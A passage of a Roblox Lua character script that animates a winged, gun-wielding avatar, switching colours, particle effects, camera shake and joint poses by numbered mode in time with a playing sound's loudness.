sphere2(5,"Add",norot.CFrame*CFrame.new(0,0+2*math.cos(sine/30),6),VT(1,1,1),-0.01,-0.01,-0.01,MAINRUINCOLOR) sphere2(5,"Add",norot.CFrame*CFrame.new(0,0+2*math.cos(sine/30),-6),VT(1,1,1),-0.01,-0.01,-0.01,MAINRUINCOLOR2) norot.CFrame = norot.CFrame*CFrame.Angles(0,0.05,0) end if mde == 49 then WACKYEFFECT({Time = 12, EffectType = "Ring", Size = VT(sick.PlaybackLoudness/100,sick.PlaybackLoudness/100,sick.PlaybackLoudness/100)/4, Size2 = VT(1,1,1)/4, Transparency = .5, Transparency2 = 1, CFrame = Torso.CFrame*CF(3,0.5,-1), MoveToPos = nil, RotationX = nil, RotationY = 0, RotationZ = 0, Material = "ForceField", Color = Color3.fromRGB(sick.PlaybackLoudness/0,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECT({Time = 12, EffectType = "Ring", Size = VT(sick.PlaybackLoudness/100,sick.PlaybackLoudness/100,sick.PlaybackLoudness/100)/4, Size2 = VT(1,1,1)/4, Transparency = .5, Transparency2 = 1, CFrame = Torso.CFrame*CF(-3,0.5,-1), MoveToPos = nil, RotationX = nil, RotationY = 0, RotationZ = 0, Material = "ForceField", Color = Color3.fromRGB(sick.PlaybackLoudness/0,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) end if mde == 53 then GUN.NeonParts.Color = C3(math.min(1,sick.PlaybackLoudness/500),0,0) GUN.Mag.Color = C3(math.min(1,sick.PlaybackLoudness/500),0,0) hea.Color = GUN.NeonParts.Color LeftLeg.Color = GUN.NeonParts.Color RightArm.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color RightLeg.Color = Color3.fromRGB(0,0,0) LeftArm.Color = Color3.fromRGB(0,0,0) WACKYEFFECT({Time = 70,EffectType = "Sphere", Size = VT(10,0.05,10), Size2 = VT(0,0.05,0), Transparency = 0, Transparency2 = 0, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) end if mde == 48 then GUN.NeonParts.Color = Color3.fromRGB(0,math.clamp(sick.PlaybackLoudness/1.8,0,255),math.clamp(sick.PlaybackLoudness/1.8,0,255)) GUN.Mag.Color = Color3.fromRGB(0,math.clamp(sick.PlaybackLoudness/1.8,0,255),math.clamp(sick.PlaybackLoudness/1.8,0,255)) Torso.Color = Color3.fromRGB(0,0,0) Head.Color = Color3.fromRGB(0,0,0) LeftArm.Color = GUN.NeonParts.Color RightArm.Color = GUN.NeonParts.Color LeftLeg.Color = GUN.NeonParts.Color RightLeg.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color hea.Color = GUN.NeonParts.Color end if mde == 55 then local maincolor = BrickColor.new("Dark blue") GUN.NeonParts.Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)) GUN.Mag.Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)) LWing.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color hea.Color = GUN.NeonParts.Color sphereMK(7.5,math.random(15,50)/45,"Add",RootPart.CFrame*CFrame.new(math.random(-25,25),-10,math.random(-25,25))*CFrame.Angles(math.rad(90 + math.random(-20,20)),math.rad(math.random(-20,20)),math.rad(math.random(-20,20))),0.75,0.75,10,-0.0075,maincolor,0) slash(math.random(50,100)/10,5,true,"Round","Add","Out",RootPart.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(math.rad(math.random(-5,5)),math.rad(math.random(-360,360)),math.rad(math.random(-5,5))),VT(0.01,0.01,0.01),math.random(5,50)/250,maincolor) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = LeftArm.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = RightArm.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(2.05,1.05,1.05), Size2 = VT(2.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = Torso.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = LeftLeg.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = RightLeg.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Head", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = Head.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) end if mde == 56 then WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,sick.PlaybackLoudness/7,1), Size2 = VT(1,1,1), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(4,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(210,180,140), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,sick.PlaybackLoudness/7,1), Size2 = VT(1,1,1), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,4), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(210,180,140), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,sick.PlaybackLoudness/7,1), Size2 = VT(1,1,1), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(-4,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(210,180,140), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,sick.PlaybackLoudness/30,1), Size2 = VT(0.3,0.3,0.3), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(-2,-3,2), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(210,180,140), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,sick.PlaybackLoudness/30,1), Size2 = VT(0.3,0.3,0.3), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(2,-3,2), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(210,180,140), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,sick.PlaybackLoudness/30,1), Size2 = VT(0.3,0.3,0.3), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(-1,-3,1), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(210,180,140), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,sick.PlaybackLoudness/30,1), Size2 = VT(0.3,0.3,0.3), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(1,-3,1), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(210,180,140), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) CamShakeAll(1,75) GUN.NeonParts.Color = Color3.fromRGB(210,180,140) GUN.Mag.Color = Color3.fromRGB(210,180,140) hea.Color = GUN.NeonParts.Color LeftArm.Color = GUN.NeonParts.Color RightArm.Color = GUN.NeonParts.Color LeftLeg.Color = GUN.NeonParts.Color RightLeg.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color end if mde == 57 then GUN.NeonParts.Color = C3(math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500)) GUN.Mag.Color = C3(math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500)) LeftArm.Color = Color3.fromRGB(0,0,0) RightArm.Color = Color3.fromRGB(0,0,0) LeftLeg.Color = Color3.fromRGB(0,0,0) RightLeg.Color = Color3.fromRGB(0,0,0) LWing.Color = Color3.fromRGB(0,0,0) RWing.Color = Color3.fromRGB(0,0,0) Scythe.Scythe.NeonParts.Color = GUN.NeonParts.Color GUN.Base.Transparency = 1 GUN.GunAdditions.Transparency = 1 GUN.NeonParts.Transparency = 1 GUN.Mag.Transparency = 1 GUN.Trigger.Transparency = 1 GUN.scope1.Transparency = 1 GUN.scope.Transparency = 1 GUN.Holding.Transparency = 1 GUN.Hole.Transparency = 1 GUN.Stock.Transparency = 1 elseif mde ~= 57 then GUN.Base.Transparency = 0 GUN.GunAdditions.Transparency = 0 GUN.NeonParts.Transparency = 0 GUN.Mag.Transparency = 0 GUN.Trigger.Transparency = 0 GUN.scope1.Transparency = 0 GUN.scope.Transparency = 0 GUN.Hole.Transparency = 0 GUN.Stock.Transparency = 0 GUN.Holding.Transparency = 0 end if mde == 19 then Torso.Color = Color3.fromRGB(0,0,0) Head.Color = Color3.fromRGB(0,0,0) LeftArm.Color = Color3.fromRGB(0,0,0) RightArm.Color = Color3.fromRGB(0,0,0) LeftLeg.Color = Color3.fromRGB(0,0,0) RightLeg.Color = Color3.fromRGB(0,0,0) LWing.Color = Color3.fromRGB(0,0,0) RWing.Color = Color3.fromRGB(0,0,0) end if mde == 44 then CamShakeAll(sick.PlaybackLoudness/50,sick.PlaybackLoudness/50) end if mde == 59 then Torso.Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) Head.Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) LeftArm.Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) RightArm.Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) LeftLeg.Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) RightLeg.Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) LWing.Color =Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) RWing.Color =Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) end if mde == 37 then GUN.NeonParts.Color = Color3.fromRGB(0,0+89*sick.PlaybackLoudness/100,0+18*sick.PlaybackLoudness/100) GUN.Mag.Color = Color3.fromRGB(0,0+89*sick.PlaybackLoudness/100,0+18*sick.PlaybackLoudness/100) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end if mde == 38 then GUN.NeonParts.Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0) GUN.Mag.Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end if mde == 39 then GUN.NeonParts.Color = BrickColor.new("Maroon").Color GUN.Mag.Color = BrickColor.new("Maroon").Color hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end GUN.Base.Color = Color3.new() GUN.GunAdditions.Color = Color3.new() GUN.Base.Reflectance = -2 GUN.GunAdditions.Reflectance = -2 if mde == 12 then ocr=MRANDOM(0,255) orangecolorrandom=C3(ocr/255,ocr/355,0) bcr=MRANDOM(0,96) bluecolorrandom=C3(0,bcr/350,bcr/275) gC = MRANDOM(0,255) hitb.Parent = Character hitb.CFrame = RootPart.CFrame*CF(MRANDOM(-9,9),MRANDOM(-9,9),MRANDOM(-9,9)) if MRANDOM(1,2)==1 then GUN.NeonParts.Color = orangecolorrandom GUN.Mag.Color = orangecolorrandom RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color hea.Color = GUN.NeonParts.Color elseif MRANDOM(1,2)==2 then GUN.NeonParts.Color = bluecolorrandom GUN.Mag.Color = bluecolorrandom hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color elseif mde ~= 12 then hitb.Parent = nil hitb.CFrame = RootPart.CFrame*CF(0,0,0) GUN.NeonParts.Color = Color3.new(1, 1, 1) GUN.Mag.Color = Color3.new(1 ,1, 1) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end end if mde == 19 then if mde == 20 then Humanoid.HipHeight = 0 elseif mde == 19 then Humanoid.HipHeight = 2*SIZEE end Blade.Parent = Character GUN.Parent = nil elseif mde ~= 19 then Humanoid.HipHeight = 0 Blade.Parent = nil if mde == 20 then Blade.Parent = Character GUN.Parent = nil elseif mde ~= 19 or mde ~= 20 then Blade.Parent = nil GUN.Parent = Character end end if mde == 25 then WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = LeftArm.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = RightArm.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(2.05,1.05,1.05), Size2 = VT(2.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = Torso.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = LeftLeg.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = RightLeg.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECThid({Time = 0.9, EffectType = "Head", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = Head.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) end if mde == 19 then CreateStar(6,math.random(5,15)/45,"Add",RootPart.CFrame*CFrame.new(math.random(-10,10),-5,math.random(-10,10))*CFrame.Angles(math.rad(90 + math.random(-3,3)),math.rad(math.random(-3,3)),math.rad(math.random(-3,3))),0.045,0.045,0.045,0,BrickColor.new("Really black"),0) CreateStar(6,math.random(5,15)/45,"Add",RootPart.CFrame*CFrame.new(math.random(-10,10),-5,math.random(-10,10))*CFrame.Angles(math.rad(90 + math.random(-3,3)),math.rad(math.random(-3,3)),math.rad(math.random(-3,3))),0.045,0.045,0.045,0,BrickColor.new("Really black"),0) end if mde == 29 then CreateStar(5,1/45,"Add",RootPart.CFrame*CFrame.new(math.cos(sine/16)*5,math.cos(sine/32)*5,math.sin(sine/16)*5)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(0)),0.08,0.08,0.08,0,BrickColor.new("Institutional white"),0) CreateStar(5,1/45,"Add",RootPart.CFrame*CFrame.new(math.cos(sine/16)*5,math.cos(sine/32)*5,math.sin(sine/16)*5)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(0)),0.08,0.08,0.08,0,BrickColor.new("Institutional white"),0) CreateStar(6,math.random(5,15)/45,"Add",RootPart.CFrame*CFrame.new(math.random(-10,10),-5,math.random(-10,10))*CFrame.Angles(math.rad(90 + math.random(-3,3)),math.rad(math.random(-3,3)),math.rad(math.random(-3,3))),0.045,0.045,0.045,0,BrickColor.new("Institutional white"),0) CreateStar(6,math.random(5,15)/45,"Add",RootPart.CFrame*CFrame.new(math.random(-10,10),-5,math.random(-10,10))*CFrame.Angles(math.rad(90 + math.random(-3,3)),math.rad(math.random(-3,3)),math.rad(math.random(-3,3))),0.045,0.045,0.045,0,BrickColor.new("Institutional white"),0) CreateStar(5,1/45,"Add",RootPart.CFrame*CFrame.new(math.cos(sine/16)*-5,math.cos(sine/32)*-5,math.sin(sine/16)*-5)*CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),0.08,0.08,0.08,0,BrickColor.new("Institutional white"),0) CreateStar(5,1/45,"Add",RootPart.CFrame*CFrame.new(math.cos(sine/16)*-5,math.cos(sine/32)*-5,math.sin(sine/16)*-5)*CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),0.08,0.08,0.08,0,BrickColor.new("Institutional white"),0) end if mde ~= 29 then ShadedFolder.Parent = nil elseif mde == 29 then ShadedFolder.Parent = Character end if mde == 24 then GUN.NeonParts.Color = Color3.fromRGB(math.random(0,255),255,255) GUN.Mag.Color = Color3.fromRGB(math.random(0,255),255,255) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end if mde == 25 then GUN.NeonParts.Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0) GUN.Mag.Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end if mde == 40 then GUN.NeonParts.Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0) GUN.Mag.Color = Color3.fromRGB(0+178*sick.PlaybackLoudness/100,0,0) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end if mde == 26 then GUN.Base.Transparency = 1 GUN.GunAdditions.Transparency = 1 GUN.NeonParts.Transparency = 1 GUN.Mag.Transparency = 1 GUN.Trigger.Transparency = 1 GUN.scope1.Transparency = 1 GUN.scope.Transparency = 1 GUN.Hole.Transparency = 1 GUN.Stock.Transparency = 1 GUN.Holding.Transparency = 1 WACKYEFFECT({TIME = math.random(15,25)*2, EffectType = "Sphere", Size = VT(3 + 2 * cos(sine/4),3 + 2 * cos(sine/4),3 + 2 * cos(sine/4)), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = -11, CFrame = CF(RootPart.Position-VT(math.random(-20,20),2,math.random(-20,20))), MoveToPos = Torso.Position+VT(0,math.random(45,145)/1.5,0), RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = Color3.fromHSV(hue/360,1,math.min(sick.PlaybackLoudness/7.5,1)), SoundID = nil, SoundPitch = nil, SoundVolume = nil, UseBoomerangMath = false, Boomerang = 0, SizeBoomerang = 0}) GUN.NeonParts.Color = Color3.fromHSV(hue/360,1,math.min(sick.PlaybackLoudness/7.5,1)) GUN.Mag.Color = Color3.fromHSV(hue/360,1,math.min(sick.PlaybackLoudness/7.5,1)) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color if(hue > 360)then hue = 0 end hue=hue+1 end if mde == 32 then WACKYEFFECT({Time = 25, EffectType = "Swirl", Size = VT(0,0,0), Size2 = VT(15+sick.PlaybackLoudness/35,10,15+sick.PlaybackLoudness/35), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0)*ANGLES(RAD(0),RAD(180*COS(SINE/7)),RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = GUN.NeonParts.Color, SoundID = nil, SoundPitch = 1, SoundVolume = 0}) end local WALKSPEEDVALUE = 6 / (Humanoid.WalkSpeed / 16) RWingWld.C0 = Clerp(RWingWld.C0,CFrame.new(.15,.5,.5)*CFrame.Angles(0,math.rad(105-25*math.cos(sine/25)),0),.25) LWingWld.C0 = Clerp(LWingWld.C0,CFrame.new(-.15,.5,.5)*CFrame.Angles(0,math.rad(75+25*math.cos(sine/25)),0),.25) if TORSOVELOCITY < 1 then ANIM = "Idle" if ATTACK == false then if mde == 0 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0 ,0 + ((1) - 1)) * CFrame.Angles(math.rad(20),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(135 + 8.5 * math.cos(sine/50)),math.rad(0),math.rad(25)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(25 + 8.5 * math.cos(sine/50)),math.rad(0),math.rad(-25 - 5 * math.cos(sine/25))) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 1 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(20),math.rad(0),math.rad(0)),0.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0,0) * CFrame.Angles(math.rad(20),math.rad(10*math.cos(sine/100)),math.rad(0)),1) if math.random(1,60) == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0,0) * CFrame.Angles(math.rad(20+math.random(-20,20)),math.rad((10*math.cos(sine/100))+math.random(-20,20)),math.rad(math.random(-20,20))),1) end RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,0.5,0) * CFrame.Angles(math.rad(-41.6-4*math.sin(sine/50)),math.rad(0),math.rad(0)) * RIGHTSHOULDERC0,0.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,0.5,0) * CFrame.Angles(math.rad(20),math.rad(0),math.rad(-10-10*math.sin(sine/50))) * LEFTSHOULDERC0,0.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-0.01) * CFrame.Angles(math.rad(10),math.rad(80),math.rad(10+10*math.sin(sine/50))),1/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-0.01) * CFrame.Angles(math.rad(20),math.rad(-80),math.rad(-10-10*math.sin(sine/50))),1/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),math.rad(0),math.rad(0)),1 / 2) elseif mde == 2 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 + .5 * math.cos(sine/15)) * CFrame.Angles(math.rad(0),math.rad(-10*math.cos(sine/30)),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.Angles(math.rad(0),math.rad(-15*math.cos(sine/30)),math.rad(0)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(135+-15*math.cos(sine/30)),math.rad(0),math.rad(25+15*math.cos(sine/30))) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(5),math.rad(5),math.rad(-10+15*math.cos(sine/30))) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-.01) * CFrame.Angles(math.rad(-10),math.rad(80),math.rad(10+10*math.sin(sine/15))),1/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-.01) * CFrame.Angles(math.rad(0),math.rad(-80),math.rad(-10-10*math.sin(sine/15))),1/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 3 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 + .5 * math.cos(sine/9)) * CFrame.Angles(math.rad(-2.5*math.sin(sine/9)),math.rad(0),math.rad(0)),1/2) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new() * CFrame.Angles(math.rad(10-10*math.sin(sine/9)),math.rad(0),math.rad(0)),1/2) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5+.25*math.sin(sine/9),0) * CFrame.Angles(math.rad(135+5*math.sin(sine/9)),math.rad(0),math.rad(25)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5+.25*math.sin(sine/9),0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(-10+10*math.cos(sine/9))) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-.01) * CFrame.Angles(math.rad(-10),math.rad(80),math.rad(5+5*math.sin(sine/9))),1/2) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-.01) * CFrame.Angles(math.rad(0),math.rad(-80),math.rad(-5-5*math.sin(sine/9))),1/2) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 4 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC02*CFrame.new(0,math.cos(sine/25),-math.sin(sine/25)+2)*CFrame.Angles(math.rad(5*math.sin(sine/25)),0,0),.25) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.Angles(math.rad(5*math.cos(sine/25)),0,0),.25) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0)*CFrame.Angles(math.rad(160),0,math.rad(15-5*math.sin(sine/25)))* RIGHTSHOULDERC0,.25) LeftShoulder.C0 = 